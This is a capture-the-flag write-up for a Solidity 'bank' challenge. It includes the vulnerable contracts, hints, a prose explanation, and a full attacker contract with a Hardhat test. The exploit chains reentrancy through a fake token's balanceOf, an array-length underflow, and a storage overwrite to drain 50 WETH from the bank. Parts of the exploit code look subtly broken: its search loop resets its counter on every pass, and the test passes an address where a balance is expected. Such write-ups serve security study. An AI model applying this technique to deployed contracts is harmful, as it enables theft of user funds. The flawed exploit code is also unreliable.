Challenge:
This write-up is for the challenge titled ‘bank’.
This challenge is located in the bank/public/ directory. The source code can be found below:
Bank.sol:
pragma solidity 0.4.24;
contract ERC20Like {
function transfer(address dst, uint qty) public returns (bool);
function transferFrom(address src, address dst, uint qty) public returns (bool);
function approve(address dst, uint qty) public returns (bool);
function balanceOf(address who) public view returns (uint);
}
contract Bank {
address public owner;
address public pendingOwner;
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
constructor() public {
owner = msg.sender;
}
function depositToken(uint accountId, address token, uint amount) external {
require(accountId <= accounts[msg.sender].length, "depositToken/bad-account");
// open a new account for the user if necessary
if (accountId == accounts[msg.sender].length) {
accounts[msg.sender].length++;
}
Account storage account = accounts[msg.sender][accountId];
uint oldBalance = account.balances[token];
// check the user has enough balance and no overflows will occur
require(oldBalance + amount >= oldBalance, "depositToken/overflow");
require(ERC20Like(token).balanceOf(msg.sender) >= amount, "depositToken/low-sender-balance");
// increment counter for unique tokens if necessary
if (oldBalance == 0) {
account.uniqueTokens++;
}
// update the balance
account.balances[token] += amount;
// transfer the tokens in
uint beforeBalance = ERC20Like(token).balanceOf(address(this));
require(ERC20Like(token).transferFrom(msg.sender, address(this), amount), "depositToken/transfer-failed");
uint afterBalance = ERC20Like(token).balanceOf(address(this));
require(afterBalance - beforeBalance == amount, "depositToken/fee-token");
}
function withdrawToken(uint accountId, address token, uint amount) external {
require(accountId < accounts[msg.sender].length, "withdrawToken/bad-account");
Account storage account = accounts[msg.sender][accountId];
uint lastAccount = accounts[msg.sender].length - 1;
uint oldBalance = account.balances[token];
// check the user can actually withdraw the amount they want and we have enough balance
require(oldBalance >= amount, "withdrawToken/underflow");
require(ERC20Like(token).balanceOf(address(this)) >= amount, "withdrawToken/low-sender-balance");
// update the balance
account.balances[token] -= amount;
// if the user has emptied their balance, decrement the number of unique tokens
if (account.balances[token] == 0) {
account.uniqueTokens--;
// if the user is withdrawing everything from their last account, close it
// we can't close accounts in the middle of the array because we can't
// clone the balances mapping, so the user would lose all their balance
if (account.uniqueTokens == 0 && accountId == lastAccount) {
accounts[msg.sender].length--;
}
}
// transfer the tokens out
uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
}
// set the display name of the account
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
// close the last account if empty - we need this in case we couldn't automatically close
// the account during withdrawal
function closeLastAccount() external {
// make sure the user has an account
require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
// make sure the last account is empty
uint lastAccount = accounts[msg.sender].length - 1;
require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
// close the account
accounts[msg.sender].length--;
}
// get info about the account
function getAccountInfo(uint accountId) public view returns (string, uint) {
require(accountId < accounts[msg.sender].length, "getAccountInfo/invalid-account");
return (
accounts[msg.sender][accountId].accountName,
accounts[msg.sender][accountId].uniqueTokens
);
}
// get the balance of a token
function getAccountBalance(uint accountId, address token) public view returns (uint) {
require(accountId < accounts[msg.sender].length, "getAccountBalance/invalid-account");
return accounts[msg.sender][accountId].balances[token];
}
// transfer ownership to a new address
function transferOwnership(address newOwner) public {
require(msg.sender == owner);
pendingOwner = newOwner;
}
// accept the ownership transfer
function acceptOwnership() public {
require(msg.sender == pendingOwner);
owner = pendingOwner;
pendingOwner = address(0x00);
}
}
Setup.sol:
pragma solidity 0.4.24;
import "./Bank.sol";
contract WETH9 is ERC20Like {
function deposit() public payable;
}
contract Setup {
WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Bank public bank;
constructor() public payable {
require(msg.value == 50 ether);
bank = new Bank();
weth.deposit.value(msg.value)();
weth.approve(address(bank), uint(-1));
bank.depositToken(0, address(weth), weth.balanceOf(address(this)));
}
function isSolved() external view returns (bool) {
return weth.balanceOf(address(bank)) == 0;
}
}
The hints and solutions for this level can be found below:
Hint 1:
This challenge requires stringing together at least two different issues. One of them is unique to solidity verisions < 0.8.0.
Hint 2:
The core issue here is that you can underflow the length of a dynamic array.
The solution for this level can be found below:
Solution:
Due to the fact that storage for a contract is essentially a single 2^256 - 1 long array, underflowing a dynamic array means that the array size is large enough to contain any location in storage. This becomes an especially important issue when you combine the fact that we have the ability to write to this dynamic array. This gives us a classic write-what-where condition. If we can abuse this, we can write ourselves a balance and withdraw funds from the bank.
So, how do we do this? Well, first we have to actually trigger the underflow. This is non-trivial, as there are a few conditions that need to be met. We can first see that every time we open a new account, we increment the accounts[].length
value. To trigger the underflow, we want to get this value to 0 and then to decrement it. There are two ways in which we can decrement this value in the contract: withdrawing tokens and closing our last account.
There are a few caveats here:
- To withdraw a token or close an account, we need to have an account already set up as the length cannot be 0.
- To decerement the length in either function, the uniqueTokens must be 0.
So what gives here? Well, we are going to have to leverage a second issue to be able to match the conditions so that we can execute both the withdrawToken()
function and the closeLastAccount()
function in the same transaction. This is possible because in the withdrawToken()
, the account length requirement is performed before an external call is made to a passed in address. Yep, we are going to have to exploit a reentrancy issue. A non-trivial one at that.
In order to match the conditions, we want to create a scenario in which by the time it gets to the decrement inside of withdrawToken()
, we have uniqueTokens = 1 and the length = 0. Playing around with this, we will see that this is easier to do if we actually have two accounts initially opened. The solution contract contains comments that explain in detail each step of the reentrancy exploit.
Ok, array overflowed but we still need to write to the correct location in storage in order to give ourselves a balance of WETH to withdraw from the bank. Another interesting obstacle is that the location in memory we can write to using setAccountName()
is accounts[msg.sender][accountId].name. What we really want to overwrite however, is the location accounts[msg.sender][accountId].balances[WETH]. Essentially, this boils down to solving for x in the following equation location(accounts[msg.sender][accountId].balances[WETH]) = location(accounts[msg.sender][x].name)
where location simply donotes the variable’s location in storage. The solution contract contains comments that explain in detail each step of the calculations used to gather the storage location and accountId to pull off the entire exploit. Due to the use of a struct in the contract and the resulting integer division by 3 in the calculation, multiple accountIds had to be tried to find one that would lead to the correct location in memory.
Putting it all together, we use reentrancy to exploit a dynamic array underflow and then solve for an accountId and corresponding location in memory. We then use setAccountName()
to set the value to something greater than 50 ether and then we call withdraw on that accountId. Finally, we profit!
Hardhat Challenge:
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] bank', function () {
before(async function () {
/** SETUP */
[deployer, attacker] = await ethers.getSigners();
const Setup = await ethers.getContractFactory('SetupBank', deployer);
this.setup = await Setup.deploy({value: ethers.utils.parseEther('50')});
const Bank = await ethers.getContractFactory('Bank', deployer);
this.bank = await Bank.attach(await this.setup.bank());
const WETH = await ethers.getContractFactory('WETH9', deployer);
this.weth = await WETH.attach(await this.setup.weth());
});
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});
after(async function () {
/** SUCCESS CONDITIONS */
expect (await this.weth.balanceOf(this.bank.address)
).to.equal(0);
expect(
await this.setup.isSolved()
).to.equal(true);
});
});
Contract Solution:
import "./SetupBank.sol";
pragma solidity 0.4.24;
contract BankAttacker is ERC20Like {
SetupBank public setup;
Bank public bank;
uint256 bankBalance;
WETH9 weth;
uint256 counter;
constructor(address _setup, uint256 _balance, address _weth) {
setup = SetupBank(_setup);
bank = setup.bank();
bankBalance = _balance;
weth = WETH9(_weth);
}
function transfer(address dst, uint qty) public returns (bool){
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool) {
return true;
}
function approve(address dst, uint qty) public returns (bool) {
return true;
}
function balanceOf(address who) public view returns (uint) {
// skip the first 4 setup calls
if (counter < 12 ) {
++counter;
} else if (counter == 12) {
++counter;
// Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
bank.closeLastAccount();
// End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0
// Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0
bank.depositToken(0, address(this), 0);
// End 1: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
// End 2: uniqueTokens(0) = 1, uniqueTokens(1) = 0, length = 0
} else if (counter == 13) {
// hits this on the above depositToken() call
++counter;
// Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
bank.closeLastAccount();
// End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0
}
return bankBalance;
}
function attack() public payable {
// Start: uniqueTokens(0) = 0, length = 0
bank.depositToken(0, address(this), 0);
// End: uniqueTokens(0) = 1, length = 1
// Start: uniqueTokens(0) = 1, length = 1
bank.depositToken(1, address(this), 0);
// End: uniqueTokens(0) = 1, uniqueTokens(1) = 1, length = 2
// Start: uniqueTokens(0) = 1, uniqueTokens(1) = 1, length = 2
bank.withdrawToken(0, address(this), 0);
// End: uniqueTokens(0) = 0, uniqueTokens(1) = 1, length = 2
// Start: uniqueTokens(0) = 0, uniqueTokens(1) = 1, length = 2
bank.withdrawToken(1, address(this), 0);
// End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
// Note that uniqueTokens(0) would underflow on the next withdrawal if we did not
// increment just the unique tokens value before it falls
// and hence the requirement to deposit only to close the acount immediately after
// for the full view of middle steps, check the 'balanceOf()' function
// Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
bank.withdrawToken(0, address(this), 0);
// End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 2^256 - 1
// We have arbitrary write to accounts[msg.sender][accountId].accountName, so now we need to
// solve for which accountId value passed in will overwrite a known
// balance location in accounts[msg.sender][accountId].balances[token] in memory
uint256 accountId = 0;
uint256 overwriteLoc = 0;
while (true) {
uint256 i = 0;
(bool success, uint256 location) = getBalanceLocation(i);
if (success) {
overwriteLoc = location;
accountId = i;
break;
}
++i;
}
bank.setAccountName(overwriteLoc, "A");
bank.withdrawToken(accountId, address(weth), 50 ether);
}
function mapLocation(uint256 slot, address key) public view returns (uint256) {
return uint256(keccak256(uint256(key), slot));
}
function arrLocation(uint256 slot, uint256 index, uint256 elementSize)
public
view
returns (uint256)
{
return uint256(keccak256(slot)) + (index * elementSize);
}
function getBalanceLocation(uint256 accountId) public view returns (bool, uint256) {
// find accounts[msg.sender]
uint256 userLoc = mapLocation(2, address(this));
// find accounts[msg.sender][accountId]
// = accounts[msg.sender][accountId].name
uint256 accountLoc = arrLocation(userLoc, accountId, 3);
// find accounts[msg.sender][accountId]+2
// = accounts[msg.sender][accountId].balances
uint256 balanceLoc = arrLocation(userLoc, accountId, 3) + 2;
// = accounts[msg.sender][accountId].balances[token]
uint256 wethBalanceLoc = mapLocation(balanceLoc, address(weth));
// we want location(accounts[msg.sender][accountId].balances[token]) = location(accounts[msg.sender][x].name)
// wethBalanceLoc = arrLocation(userLoc, x, 3)
// wethBalanceLoc = uint256(keccak256(userLoc)) + x * 3
// x = (wethBalanceLoc - uint256(keccak256(userLoc))) / 3
uint256 dividend = (wethBalanceLoc - uint256(keccak256(userLoc)));
uint256 location = (dividend) / 3;
// integer division by 3, if it doesn't work we'll just check another accountId
if (dividend % 3 == 0) {
return (true, location);
} else {
return (false, location);
}
}
}
HardHat Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const BankAttacker = await ethers.getContractFactory('BankAttacker', deployer);
this.bankAttacker = await BankAttacker.deploy(this.setup.address, this.bank.address, this.weth.address);
await this.bankAttacker.attack()
});